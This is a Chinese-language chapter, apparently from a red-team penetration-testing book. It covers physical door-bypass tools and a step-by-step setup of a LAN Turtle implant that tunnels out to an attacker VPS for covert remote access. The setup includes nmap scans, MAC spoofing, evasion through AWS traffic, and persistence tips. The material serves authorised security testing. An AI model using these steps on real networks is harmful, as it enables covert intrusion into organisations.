绕过入口点的物理工具

本书不会深入研究物理工具及其操作方法,因为纸上得来终觉浅,若要真正深入了解物理工具及其操作方法,实践是最好的老师。进行物理评估的最佳方法,一直都是实践、建立物理实验环境,搞清楚哪些方法可行,哪些不可行。我来盘点一下过去我们团队用过的一些很酷的工具:

  • Lock Picks —— SouthOrd 公司生产的开锁工具一直是我们的首选。质量好,效果好。
  • Gate Bypass Devices —— 用来绕过锁着的门的工具。
  • Shove-it Tool —— 简单的工具,用于门和门闩之间有足够的空间的情况下。类似于贴卡打开感应门,你使用此工具拉开锁里的活塞。
  • Under the Door 2.0 —— 拉开带有手柄的门的工具。我们可以用 Under the Door 工具从门下直接进去,绕着把手,然后往下拉。在过去酒店中经常会安装这种门,但我们肯定也会在业务中遇到这种门。
  • Air Canisters —— 这是一个价格便宜又构造简单的工具,可以通过内部的运动传感器打开门锁。看看这段视频,看看 Samy Kamkar 如何绕过此类型的门: https://www.youtube.com/watch?v=xcA7iXSNmZE

记住,使用这些工具和物理评估的目的是跟踪并监控公司物理安全的问题,并得到反馈。因此,我们不仅要确保充分记录了系统中的缺陷,还要考察事件的响应时间和处理措施是否是可以接受的。

LAN Turtle

LAN Turtle 是我最喜欢的工具之一,由 Hak5 公司生产。前书中我们研究了如何把树莓派和 ODROID 作为攻击武器:给这些设备安装 Kali Linux 系统,让它们通过 SSH 或者 VPN 连接到我们的攻击者机器中,这是做物理渗透测试的一个好方法。

多年来,这些工具一直在不断进步。现在,LAN Turtle 小巧到可以藏在任何设备的后面,依赖 USB 供电,让用户难以轻易觉察。LAN Turtle 的 USB 网卡可代理以太网的所有流量。

LAN Turtle 还有一个无线蜂窝版(支持SIM卡),暂且不提。

设置 LAN Turtle: LAN Turtle 的目的是取代 dropbox(一款可以同步本地文件的网络存储在线网盘应用)。尽管它带有许多其他功能和应用程序工具,如自动连接 SSH、DNS 欺骗、meterpreter、ptunnel、script2email、urlsnarf、responder 等等,但红队使用的主要功能是“使用 LAN Turtle 获得进入网络的权限”。

过去,甚至在前几版书中,我们使用 SSH 反向代理 shell。这样通常管用,但对于更深入的扫描/复杂的攻击,我们需要完全访问网络。为此,我们必须配置反向的 VPN 连接。那么,怎样进行反向 VPN 连接?

是这样的,因为 LAN Turtle 会被插入入侵目标组织内网中的某个台式机的后面,所以我们不能直接连接到它。因此,我们将让 LAN Turtle 首先通过端口 443 外连到 VPN,然后作为服务器返回到我们的 OpenVPN 。从我们用来做攻击的 Kali 机器中,我们也必须登录进 VPN 服务器。一旦 LAN Turtle 和我们的攻击者机器都通过VPN 连接到我们的服务器中,我们就可以把流量从 LAN Turtle 转发到攻击机器来进行扫描或漏洞利用。

绕过入口点的物理工具 - 图1

绕过入口点的物理工具 - 图2

虽然 OpenVPN 反向代理通道不是什么新技术,但 Hak5 的团队在整合教程方面做得非常好。我不得不修改了以下一些命令,如果你想了解更多,请观看他们的 YouTube 视频:https://www.youtube.com/watch?v=b7qr0laM8kA

具体的使用步骤主要是以下三步:

  1. 在 Internet 上配置一个 OpenVPN 访问服务器(OpenVPN AS);
  2. 其次,配置 LAN Turtle ;
  3. 最后,配置攻击者机器 。

设置运行 OpenVPN 服务的 VPS :

  • 我们要确保我们的 VPN 服务器对外提供服务。我们通常喜欢在 VPS 服务器提供商上托管我们的 VPN 服务器,因为它们非常容易和快速设置。提前警告一声,请向你的 VPS 提供商咨询,确保他们允许你搞事。
  • 常见的 VPS 提供商有 Linode 和 Amazon Lightsail 。因为他们的 VPS 速度快、价格便宜且易于设置。AWS Lightsail VPS 就不错,选择它的另一个原因是:有许多攻击者都会采用 AWS 做攻击,躲在这些如洪水般的流量背后,受害者将更难以察觉是谁攻击他们的。
  • 去 Lightsail.aws.amazon.com 创建一个新的 VPS
  • 创建后,转到“管理”->“联网” 添加两个安全组设置 TCP 端口(443和943)
  • 创建 VPS 服务器后,登录:
    • 确保 chmod 600 你的 SSH 密钥并登录到你的服务器
    • ssh -i LightsailDefaultPrivateKey-us-west-2.pem ubuntu@[IP]
  • 通过 SSH 进入服务器之后
    • 切换到 root 用户:
      1. sudo su -
    • 更新服务器:
      1. apt-get update && apt-get upgrade
    • 安装 OpenVPN AS。请点击此处查找最新版本
    • 复制链接并下载到 VPS 。示例:
      1. wget http://swupdate.openvpn.org/as/openvpn-as-2.1.12-ubuntu16.amd_64.deb
    • 安装 OpenVPN AS:
      1. dpkg -i openvpn-as-2.1.12-Ubuntu16.amd_64.deb
    • 删除当前配置文件并配置 OpenVPN :
      • /usr/local/openvpn_as/bin/ovpn-init
      • 安装过程中:
        • 确保为所有接口设置管理员界面
        • 将“通过内部数据库使用本地身份验证”设置为“是”
    • 更新 OpenVPN 密码:
      • passwd openvpn
    • 将943端口的 IPTables 设置为仅允许来自你的网络的连接

设置 OpenVPN 服务器:

  • 转到 https://[vps服务器的IP地址]:943/admin/
  • 使用用户名 “openvpn” 和你刚刚设置的密码登录
  • 如果使用的是 AWS Lightsail:
    • 转到服务器网络设置,确保:主机名或IP地址是正确的公网 IP 地址,而不是私有 IP 地址
    • 保存并更新
  • 验证身份验证是否设置为本地:
    • Authentication -> General -> Local -> Save Settings -> Update Server
  • 创建两个启用了“允许自动登录”的用户(我创建的是 lanturtleredteam):
    • User Management -> User Permissions
    • 对于每个用户:
      • 设置允许自动登录
      • 确保为这两个用户都分别设置密码
    • 对于 lanturtle 帐户,为了允许通过 VPN 连接,我们需要启用一些权限:
      • 确保在用户权限选项下启用/配置:
        • 所有服务端私有子网
        • 所有其他的 VPN 客户端

绕过入口点的物理工具 - 图3

下载 OpenVPN 配置文件:

  • 连接下载配置文件:
    • https://[你的VPS]:943/?src=connect
    • 对于每个用户( redteam 和 lanturtle )
      • 登录并下载个人资料(自动登录配置文件)
      • 分别保存为 turtle.ovpn 和 redteam.ovpn

设置 LAN Turtle 和初始配置:

绕过入口点的物理工具 - 图4

  • 插入 USB 并且自动连入网络
  • nmap 扫描本地 22 端口
    • nmap x.x.x.x/24 -p22 -T5 —open
  • 通过 SSH 连接 root 用户(root@[ip]),密码为 sh3llz
  • 更新你的 LAN TURTLE
  • 更改 MAC 地址很重要。LAN Turtle 使用类似制造商的 MAC 地址,所以你要做些修改来确保你看起来像个随机的设备:
    • 更改你的 MAC 地址
  • 安装 OpenVPN :
    • 选择 Modules -> Select -> Configure -> Directory ,然后点击确定
    • 安装 OpenVPN
  • 设置你的 OpenVPN 配置文件:
    • 返回 Modules-> OpenVPN -> configure->粘贴所有来自 turtle.opvn 的内容并保存
  • 我们还希望确保 LAN Turtle OpenVPN 服务器在服务器启动时自动开启运行:
    • 选择 Modules-> OpenVPN ->Enable
  • 最后,我们需要修改 LAN Turtle 上的防火墙规则:
    • 退出 Turtle 菜单并编辑防火墙规则(使用 nano 文本编辑器编辑 /etc/config/firewall 文件)
      • nano /etc/config/firewall
    • 接着,在文件中修改 vpn 这一部分的设置
      • 确保“option forward”设置为“ACCEPT”
      • 添加以下配置转发规则:
  • 配置转发
    • option src wan
    • option dest lan
  • 配置转发
    • option src vpn
    • option dest wan
  • 配置转发
    • option src wan
    • option dest vpn
  • 重新回到 Turtle 菜单 -> Modules -> openvpn -> start
  • 上面的操作应该会启动我们的 Turtle 上的 OpenVPN 客户端。为了确保设置生效,回到我们的 OpenVPN AS 服务器并检查连接。

我们现在已经配置了 LAN Turtle,这样每当它连接到一个网络时,它就会回连到我们的 VPN 服务器。并且我们可以通过 SSH 连进 LAN Turtle 了。让我们通过一个例子来感受一下这个过程:

从 Kali 攻击主机访问 VPN 服务器:

  • openvpn -config ./redteam.ovpn
  • 获取对方所在网络的IP地址,以便从我们的 redteam vpn 传输所有流量。

    • SSH 进入 LAN Turtle
    • 退出 Turtle 菜单,获取受害者网络内部接口(ifconfig)的 IP 地址。根据 IP 和 BCAST(广播地址)计算出 IP 范围。在我们的示例中,Turtle 所在的网络是 10.100.100.0/24
  • 最后,开启流量转发:

    • 返回 OpenVPN AS并编辑 lanturtle 这个用户
    • 用户权限(User Permissions)页面->搜索用户名 lanturtle->显示
    • 将 VPN 网关编辑为“是”并添加内部范围(例如 10.100.100.0/24)
    • 保存并更新
  • 通过 LAN Turtle 上的 SSH 连接,使用 reboot 命令重启

绕过入口点的物理工具 - 图5

现在,我们可以让攻击机透过在 LAN Turtle 上架设的 VPN 通道,将我们的所有流量传输到受害者公司内网。在下图中,我们登录进入 VPN 服务器,扫描 LAN Turtle 的范围为 10.100.100.0/24 的内部网络。我们可以看到,我们已经成功地配置了从 VPN 网关通过 LAN Turtle 到公司网络的路由传输。现在,在 Kali 攻击机上面,可以运行完整的漏洞扫描、网络抓取、Masscans 扫描甚至更多其他操作。

绕过入口点的物理工具 - 图6

好的!现在你有了一个快速插入的设备,它让你与受害者网络保持全局连接。为了做的更好,还可以完善一下:

  • 设置一个每天重启设备的定时任务。VPN 隧道连接可能会断开,但每当 LAN Turtle 重新启动时,VPN 连接会重新启动。
  • 某些公司封锁了某些可通往外网的端口。在本例中,我们使用了443端口,在许多环境中,这个端口可以和外网通信。对于使用 Web 代理的某些公司网络,可能会阻止通过 443 端口直接连接外网。可能需要配置 LAN Turtle ,以在启动连接时,自动尝试多个不同的端口或协议(TCP/UDP)。
  • 如果要安装两个或更多设备,请确保这些设备的 VPN 服务器和 MAC 地址是不一样的。曾有几个真实的案例,我们的设备几乎在每次入侵时都被发现了,然而这完全是偶然事。原因是 IT 基础设施正在被移动或者更换了计算机。